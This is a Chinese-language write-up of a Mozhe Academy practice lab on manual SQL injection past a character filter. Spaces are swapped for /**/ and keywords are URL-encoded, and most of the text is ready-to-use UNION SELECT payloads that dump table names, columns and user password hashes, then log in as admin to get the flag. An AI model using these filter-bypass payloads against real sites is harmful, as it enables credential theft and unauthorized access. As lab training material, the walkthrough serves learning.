墨者学院—SQL过滤字符后手工注入漏洞测试

靶场地址：

SQL过滤字符后手工注入漏洞测试(第1题)_SQL注入_在线靶场_墨者学院_专注于网络安全人才培养

关于CTFHUB中的sql注入以及文件上传知识点我们已经学习过一遍了，如果大家都掌握的话，那我们也算是过了入门这个关了。

今天来学习墨者学院中的字符过滤靶场

我们打开靶场

 

 

我们进到靶场看到一个登录页面

看到这我也是很激动呀，打开BP就是一顿爆破，结果没爆破出来..

 

然后仔细看到下方有个导航条我我们点进去

注意看这个URL，我就怀疑注入点在这里，然后打开工具尝试注入

但是我发现无论输入什么数据，他都跳回到主页面。那就可以猜测页面是过滤了字符的，那我们就想想能把什么字符进行转义

空格可以用/**/来转义

=号可以用URL编码（或者Like）

那我们就可以构造判断是否存在注入的语句

/**/and/**/1=1

然后进行URL编码，变成

/%2a%2a/%61%6e%64/%2a%2a/%31=%31

我们进行尝试闭合语句，在尝试多次后判断是数字型注入，无需闭合，那我们开始判断注入

我们可以很显然的看到，在1=1的条件成立的时候页面有回显，但是在1=2的时候页面不进行回显，那么我们可以判断页面是有注入的。那我们先查看列数，构造

/**/order/**/by/**/1

/%2a%2a/%6f%72%64%65%72/%2a%2a/%62%79/%2a%2a/%31

可以看到order by为5的时候页面没有了回显，说明页面只有4列数据

然后判断页面回显位置

/**/union/**/select/**/1,2,3,4

/%2a%2a/%75%6e%69%6f%6e/%2a%2a/%73%65%6c%65%63%74/%2a%2a/%31%2c%32%2c%33%2c%34

可以看到页面在字段2、3的地方有了回显，接下来可以判断数据库

/**/union/**/select/**/1,database(),3,4

/%2a%2a/%75%6e%69%6f%6e/%2a%2a/%73%65%6c%65%63%74/%2a%2a/%31%2c%64%61%74%61%62%61%73%65%28%29%2c%33%2c%34

获取表：

/**/union/**/select/**/1,group_concat(table_name),3,4/**/from/**/information_schema.tables/**/where/**/table_schema=database()

/%2a%2a/%75%6e%69%6f%6e/%2a%2a/%73%65%6c%65%63%74/%2a%2a/%31%2c%67%72%6f%75%70%5f%63%6f%6e%63%61%74%28%74%61%62%6c%65%5f%6e%61%6d%65%29%2c%33%2c%34/%2a%2a/%66%72%6f%6d/%2a%2a/%69%6e%66%6f%72%6d%61%74%69%6f%6e%5f%73%63%68%65%6d%61%2e%74%61%62%6c%65%73/%2a%2a/%77%68%65%72%65/%2a%2a/%74%61%62%6c%65%5f%73%63%68%65%6d%61=%64%61%74%61%62%61%73%65%28%29

获取列：

/**/union/**/select/**/1,group_concat(column_name),3,4/**/from/**/information_schema.columns/**/where/**/table_name='notice'

/%2a%2a/%75%6e%69%6f%6e/%2a%2a/%73%65%6c%65%63%74/%2a%2a/%31%2c%67%72%6f%75%70%5f%63%6f%6e%63%61%74%28%63%6f%6c%75%6d%6e%5f%6e%61%6d%65%29%2c%33%2c%34/%2a%2a/%66%72%6f%6d/%2a%2a/%69%6e%66%6f%72%6d%61%74%69%6f%6e%5f%73%63%68%65%6d%61%2e%63%6f%6c%75%6d%6e%73/%2a%2a/%77%68%65%72%65/%2a%2a/%74%61%62%6c%65%5f%6e%61%6d%65=%27%6e%6f%74%69%63%65%27

/**/union/**/select/**/1,group_concat(column_name),3,4/**/from/**/information_schema.columns/**/where/**/table_name='stormgroup_member'

/%2a%2a/%75%6e%69%6f%6e/%2a%2a/%73%65%6c%65%63%74/%2a%2a/%31%2c%67%72%6f%75%70%5f%63%6f%6e%63%61%74%28%63%6f%6c%75%6d%6e%5f%6e%61%6d%65%29%2c%33%2c%34/%2a%2a/%66%72%6f%6d/%2a%2a/%69%6e%66%6f%72%6d%61%74%69%6f%6e%5f%73%63%68%65%6d%61%2e%63%6f%6c%75%6d%6e%73/%2a%2a/%77%68%65%72%65/%2a%2a/%74%61%62%6c%65%5f%6e%61%6d%65=%27%73%74%6f%72%6d%67%72%6f%75%70%5f%6d%65%6d%62%65%72%27

很明显第二个表的列名比较符合我们所需，我们查看第二个表的name和password字段

/**/union/**/select/**/1,group_concat(name),group_concat(password),4/**/from/**/stormgroup_member

/%2a%2a/%75%6e%69%6f%6e/%2a%2a/%73%65%6c%65%63%74/%2a%2a/%31%2c%67%72%6f%75%70%5f%63%6f%6e%63%61%74%28%6e%61%6d%65%29%2c%67%72%6f%75%70%5f%63%6f%6e%63%61%74%28%70%61%73%73%77%6f%72%64%29%2c%34/%2a%2a/%66%72%6f%6d/%2a%2a/%73%74%6f%72%6d%67%72%6f%75%70%5f%6d%65%6d%62%65%72

 我们就把账号密码求出来了，但是密码是加密后的，我们去解密一下

三个密码就被我们解密出来了。我们拿账号登录一下。

登录mozhe的账号显示

登录admin的账号即获取flag（还得是admin）

以后可能靶场更新频率做不到一天一更..